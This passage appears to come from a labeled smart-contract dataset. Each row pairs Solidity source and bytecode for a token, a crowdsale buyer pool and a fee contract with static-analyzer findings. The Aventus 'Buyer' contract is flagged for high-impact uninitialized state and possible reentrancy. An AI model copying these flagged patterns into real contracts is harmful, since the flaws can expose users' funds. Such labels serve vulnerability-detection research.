* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LuckCashToken is PausableToken, CappedToken {
string public constant name = "LuckCash";
string public constant symbol = "LCK";
uint8 public constant decimals = 18;
function LuckCashToken(uint _cap) public CappedToken(_cap) PausableToken() {
}
} | 0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013d578063095ea7b3146101c757806318160ddd146101e957806323b872dd1461020e578063313ce56714610236578063355274ea1461025f5780633f4ba83a1461027257806340c10f19146102875780635c975abb146102a957806366188463146102bc57806370a08231146102de5780637d64bcb4146102fd5780638456cb59146103105780638da5cb5b1461032357806395d89b4114610352578063a9059cbb14610365578063d73dd62314610387578063dd62ed3e146103a9578063f2fde38b146103ce575b600080fd5b341561012157600080fd5b6101296103ed565b604051901515815260200160405180910390f35b341561014857600080fd5b6101506103fd565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018c578082015183820152602001610174565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610129600160a060020a0360043516602435610434565b34156101f457600080fd5b6101fc61045f565b60405190815260200160405180910390f35b341561021957600080fd5b610129600160a060020a0360043581169060243516604435610465565b341561024157600080fd5b610249610492565b60405160ff909116815260200160405180910390f35b341561026a57600080fd5b6101fc610497565b341561027d57600080fd5b61028561049d565b005b341561029257600080fd5b610129600160a060020a036004351660243561051c565b34156102b457600080fd5b61012961057c565b34156102c757600080fd5b610129600160a060020a036004351660243561058c565b34156102e957600080fd5b6101fc600160a060020a03600435166105b0565b341561030857600080fd5b6101296105cb565b341561031b57600080fd5b610285610657565b341561032e57600080fd5b6103366106db565b604051600160a060020a03909116815260200160405180910390f35b341561035d57600080fd5b6101506106ea565b341561037057600080fd5b610129600160a060020a0360043516602435610721565b341561039257600080fd5b610129600160a060020a0360043516602435610745565b34156103b457600080fd5b6101fc600160a060020a0360043581169060243516610769565b34156103d957600080fd5b610285600160a060020a0360043516610794565b60035460a860020a900460ff1681565b60408051908101604052600881527f4c75636b43617368000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561044e57600080fd5b610458838361082f565b9392505050565b60015490565b60035460009060a060020a900460ff161561047f57600080fd5b61048a84848461089b565b949350505050565b601281565b60045481565b60035433600160a060020a039081169116146104b857600080fd5b60035460a060020a900460ff1615156104d057600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a0390811691161461053a57600080fd5b60035460a860020a900460ff161561055157600080fd5b600454600154610567908463ffffffff610a1b16565b111561057257600080fd5b6104588383610a2a565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156105a657600080fd5b6104588383610b38565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a039081169116146105e957600080fd5b60035460a860020a900460ff161561060057600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035433600160a060020a0390811691161461067257600080fd5b60035460a060020a900460ff161561068957600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600381527f4c434b0000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561073b57600080fd5b6104588383610c32565b60035460009060a060020a900460ff161561075f57600080fd5b6104588383610d44565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146107af57600080fd5b600160a060020a03811615156107c457600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156108b257600080fd5b600160a060020a0384166000908152602081905260409020548211156108d757600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561090a57600080fd5b600160a060020a038416600090815260208190526040902054610933908363ffffffff610de816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610968908363ffffffff610a1b16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546109ae908363ffffffff610de816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60008282018381101561045857fe5b60035460009033600160a060020a03908116911614610a4857600080fd5b60035460a860020a900460ff1615610a5f57600080fd5b600154610a72908363ffffffff610a1b16565b600155600160a060020a038316600090815260208190526040902054610a9e908363ffffffff610a1b16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610b9557600160a060020a033381166000908152600260209081526040808320938816835292905290812055610bcc565b610ba5818463ffffffff610de816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610c4957600080fd5b600160a060020a033316600090815260208190526040902054821115610c6e57600080fd5b600160a060020a033316600090815260208190526040902054610c97908363ffffffff610de816565b600160a060020a033381166000908152602081905260408082209390935590851681522054610ccc908363ffffffff610a1b16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d7c908363ffffffff610a1b16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610df457fe5b509003905600a165627a7a723058206bd851fc122d4540800139c25658c8ee8bde02950581eabfa1aca3919418bd2f0029 | {"success": true, "error": null, "results": {}} | 938 |
0x13407d93f343148bf03eacf482441dd526cd7ebd | pragma solidity ^0.4.13;
/*
Aventus Buyer
========================
credit to /u/Cintix
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract Buyer {
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Bounty for executing buy.
uint256 public buy_bounty;
// Bounty for executing withdrawals.
uint256 public withdraw_bounty;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
// Emergency kill switch in case a critical bug is found.
bool public kill_switch;
// SHA3 hash of kill switch password.
bytes32 password_hash = 0xbeb7247422d4e22a0cf0085c07b37aca88a1958e4da1ca1947e53a5adf5c0499;
// Earliest time contract is allowed to buy into the crowdsale.
uint256 public earliest_buy_time = 1505304000;
// Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure.
uint256 public eth_cap = 5000 ether;
// The developer address.
address public developer = 0x53b1606bc4540f90daad2b05110f6cc0b42daefa;
// The crowdsale address. Settable by the developer.
address public sale = 0x8b7B6C61238088593BF75eEC8FBF58D0a615d30c;
// The token address. Settable by the developer.
ERC20 public token = ERC20(0x0d88eD6E74bbFD96B831231638b66C05571e824F);
// Allows the developer to set the crowdsale and token addresses.
// function set_addresses(address _sale, address _token) {
// // Only allow the developer to set the sale and token addresses.
// require(msg.sender == developer);
// // Only allow setting the addresses once.
// require(sale == 0x0);
// // Set the crowdsale and token addresses.
// sale = _sale;
// token = ERC20(_token);
// }
// Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies.
function activate_kill_switch(string password) {
// Only activate the kill switch if the sender is the developer or the password is correct.
require(msg.sender == developer || sha3(password) == password_hash);
// Store the claimed bounty in a temporary variable.
// uint256 claimed_bounty = buy_bounty;
// Update bounty prior to sending to prevent recursive call.
// buy_bounty = 0;
// Irreversibly activate the kill switch.
kill_switch = true;
// Send the caller their bounty for activating the kill switch.
// msg.sender.transfer(claimed_bounty);
}
// Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller.
function withdraw(address user){
// Only allow withdrawals after the contract has had a chance to buy in.
require(bought_tokens || now > earliest_buy_time + 1 hours);
// Short circuit to save gas if the user doesn't have a balance.
if (balances[user] == 0) return;
// If the contract failed to buy into the sale, withdraw the user's ETH.
if (!bought_tokens) {
// Store the user's balance prior to withdrawal in a temporary variable.
uint256 eth_to_withdraw = balances[user];
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[user] = 0;
// Return the user's funds. Throws on failure to prevent loss of funds.
user.transfer(eth_to_withdraw);
}
// Withdraw the user's tokens if the contract has purchased them.
else {
// Retrieve current token balance of contract.
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
// Store the user's token balance in a temporary variable.
uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value;
// Update the value of tokens currently held by the contract.
contract_eth_value -= balances[user];
// Update the user's balance prior to sending to prevent recursive call.
balances[user] = 0;
// 1% fee if contract successfully bought tokens.
uint256 fee = tokens_to_withdraw / 200;
// Send the fee to the developer.
require(token.transfer(developer, fee));
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(user, tokens_to_withdraw - fee));
}
// Each withdraw call earns 1% of the current withdraw bounty.
// uint256 claimed_bounty = withdraw_bounty / 100;
// Update the withdraw bounty prior to sending to prevent recursive call.
// withdraw_bounty -= claimed_bounty;
// Send the caller their bounty for withdrawing on the user's behalf.
// msg.sender.transfer(claimed_bounty);
}
// Allows developer to add ETH to the buy execution bounty.
function add_to_buy_bounty() payable {
// Only allow the developer to contribute to the buy execution bounty.
require(msg.sender == developer);
// Update bounty to include received amount.
buy_bounty += msg.value;
}
// Allows developer to add ETH to the withdraw execution bounty.
// function add_to_withdraw_bounty() payable {
// // Only allow the developer to contribute to the buy execution bounty.
// require(msg.sender == developer);
// // Update bounty to include received amount.
// withdraw_bounty += msg.value;
// }
// Buys tokens in the crowdsale and rewards the caller, callable by anyone.
function claim_bounty(){
// Short circuit to save gas if the contract has already bought tokens.
if (bought_tokens) return;
// Short circuit to save gas if the earliest buy time hasn't been reached.
if (now < earliest_buy_time) return;
// Short circuit to save gas if kill switch is active.
if (kill_switch) return;
// Disallow buying in if the developer hasn't set the sale address yet.
require(sale != 0x0);
// Record that the contract has bought the tokens.
bought_tokens = true;
// Store the claimed bounty in a temporary variable.
uint256 claimed_bounty = buy_bounty;
// Update bounty prior to sending to prevent recursive call.
buy_bounty = 0;
// Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance - (claimed_bounty + withdraw_bounty);
// Transfer all the funds (less the bounties) to the crowdsale address
// to buy tokens. Throws if the crowdsale hasn't started yet or has
// already completed, preventing loss of funds.
require(sale.call.value(contract_eth_value)());
// Send the caller their bounty for buying tokens for the contract.
msg.sender.transfer(claimed_bounty);
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
// Disallow deposits if kill switch is active.
require(!kill_switch);
// Only allow deposits if the contract hasn't already purchased the tokens.
require(!bought_tokens);
// Only allow deposits that won't exceed the contract's ETH cap.
require(this.balance < eth_cap);
// Update records of deposited ETH to include the received amount.
balances[msg.sender] += msg.value;
}
} | 0x606060405236156100bf5763ffffffff60e060020a60003504166302f580158114610119578063152483621461012e57806327e235e31461015357806351cff8d9146101845780636360fc3f146101a55780636ad1fe02146101cc57806388a89dd0146101fb578063a089feea14610205578063a9726c1e1461022c578063c42bb1e414610251578063ca4b208b14610276578063d4701c35146102a5578063dbfeb17f146102f8578063f79dcf8d1461031d578063fc0c546a14610342575b5b60055460ff16156100d057600080fd5b60035460ff16156100e057600080fd5b600854600160a060020a03301631106100f857600080fd5b600160a060020a03331660009081526020819052604090208054340190555b005b341561012457600080fd5b610117610371565b005b341561013957600080fd5b61014161044b565b60405190815260200160405180910390f35b341561015e57600080fd5b610141600160a060020a0360043516610451565b60405190815260200160405180910390f35b341561018f57600080fd5b610117600160a060020a0360043516610463565b005b34156101b057600080fd5b6101b8610700565b604051901515815260200160405180910390f35b34156101d757600080fd5b6101df610709565b604051600160a060020a03909116815260200160405180910390f35b610117610718565b005b341561021057600080fd5b6101b861073e565b604051901515815260200160405180910390f35b341561023757600080fd5b610141610747565b60405190815260200160405180910390f35b341561025c57600080fd5b61014161074d565b60405190815260200160405180910390f35b341561028157600080fd5b6101df610753565b604051600160a060020a03909116815260200160405180910390f35b34156102b057600080fd5b61011760046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061076295505050505050565b005b341561030357600080fd5b6101416107f9565b60405190815260200160405180910390f35b341561032857600080fd5b6101416107ff565b60405190815260200160405180910390f35b341561034d57600080fd5b6101df610805565b604051600160a060020a03909116815260200160405180910390f35b60035460009060ff161561038457610447565b60075442101561039357610447565b60055460ff16156103a357610447565b600a54600160a060020a031615156103ba57600080fd5b506003805460ff19166001908117909155805460009091556002548101600160a060020a0330811631919091036004819055600a549091169060405160006040518083038185876187965a03f192505050151561041657600080fd5b600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561044757600080fd5b5b50565b60015481565b60006020819052908152604090205481565b60035460009081908190819060ff16806104825750600754610e100142115b151561048d57600080fd5b600160a060020a03851660009081526020819052604090205415156104b1576106f7565b60035460ff16151561050a57600160a060020a038516600081815260208190526040808220805492905590955085156108fc0290869051600060405180830381858888f19350505050151561050557600080fd5b6106f7565b600b54600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561056357600080fd5b6102c65a03f1151561057457600080fd5b505050604051805193505082151561058b57600080fd5b600454600160a060020a03861660009081526020819052604090205484028115156105b257fe5b600160a060020a03871660009081526020819052604081208054600480549190910390555504915060c8825b600b54600954929091049250600160a060020a039081169163a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561064a57600080fd5b6102c65a03f1151561065b57600080fd5b50505060405180519050151561067057600080fd5b600b54600160a060020a031663a9059cbb8683850360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156106d157600080fd5b6102c65a03f115156106e257600080fd5b5050506040518051905015156106f757600080fd5b5b5b5050505050565b60035460ff1681565b600a54600160a060020a031681565b60095433600160a060020a0390811691161461073357600080fd5b60018054340190555b565b60055460ff1681565b60025481565b60045481565b600954600160a060020a031681565b60095433600160a060020a03908116911614806107dd5750600654816040518082805190602001908083835b602083106107ae57805182525b601f19909201916020918201910161078e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020145b15156107e857600080fd5b6005805460ff191660011790555b50565b60085481565b60075481565b600b54600160a060020a0316815600a165627a7a72305820ce7c0f25d0e24d880e67c22a9975dbde65b5deeddd8759ca0fbac14f09c182d90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 939 |
0x9ac915e0ddb770c33c1ec0f22768b9d006c20f92 | /**
*Submitted for verification at BscScan.com on 2022-01-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DNXHatcher is Ownable {
using SafeMath for uint256;
uint256 public hatchingFee;
IERC20 dnxcToken; // token being staked
mapping(uint256 => bool) public hatchable;
bool paused;
constructor(uint256 _hatchingFee, IERC20 _dnxcToken)
{
hatchingFee = _hatchingFee;
paused = true;
dnxcToken = _dnxcToken;
}
function changePause(bool _pause) onlyOwner public {
paused = _pause;
}
function changeHatchinFee(uint256 _hatchingFee) onlyOwner public {
hatchingFee = _hatchingFee;
}
function unlockHatch(uint256 _dnx) public {
require (paused == false, "E09");
require (hatchable[_dnx] == false, "E03");
require (dnxcToken.transferFrom(msg.sender, address(this), hatchingFee), "E02");
hatchable[_dnx] = true;
}
function lockHatch(uint256 _dnx) onlyOwner public {
require (paused == false, "E09");
hatchable[_dnx] = false;
}
function withdrawFees(uint256 amount) onlyOwner external {
dnxcToken.transfer(
msg.sender,
amount
);
}
} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b14610131578063a42e0fc81461014f578063cbe3cd2e1461016b578063d9e3f0a014610187578063f2fde38b146101a55761009e565b8063429b709c146100a357806351eb92ee146100d35780635d4fead3146100ef5780635e318e071461010b578063715018a614610127575b600080fd5b6100bd60048036038101906100b89190610a58565b6101c1565b6040516100ca9190610bd8565b60405180910390f35b6100ed60048036038101906100e89190610a58565b6101e1565b005b61010960048036038101906101049190610a06565b6103bf565b005b61012560048036038101906101209190610a58565b610458565b005b61012f610587565b005b61013961060f565b6040516101469190610b5d565b60405180910390f35b61016960048036038101906101649190610a58565b610638565b005b61018560048036038101906101809190610a58565b6106be565b005b61018f6107bf565b60405161019c9190610c93565b60405180910390f35b6101bf60048036038101906101ba91906109dd565b6107c5565b005b60036020528060005260406000206000915054906101000a900460ff1681565b60001515600460009054906101000a900460ff16151514610237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022e90610bf3565b60405180910390fd5b600015156003600083815260200190815260200160002060009054906101000a900460ff1615151461029e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029590610c53565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33306001546040518463ffffffff1660e01b81526004016102ff93929190610b78565b602060405180830381600087803b15801561031957600080fd5b505af115801561032d57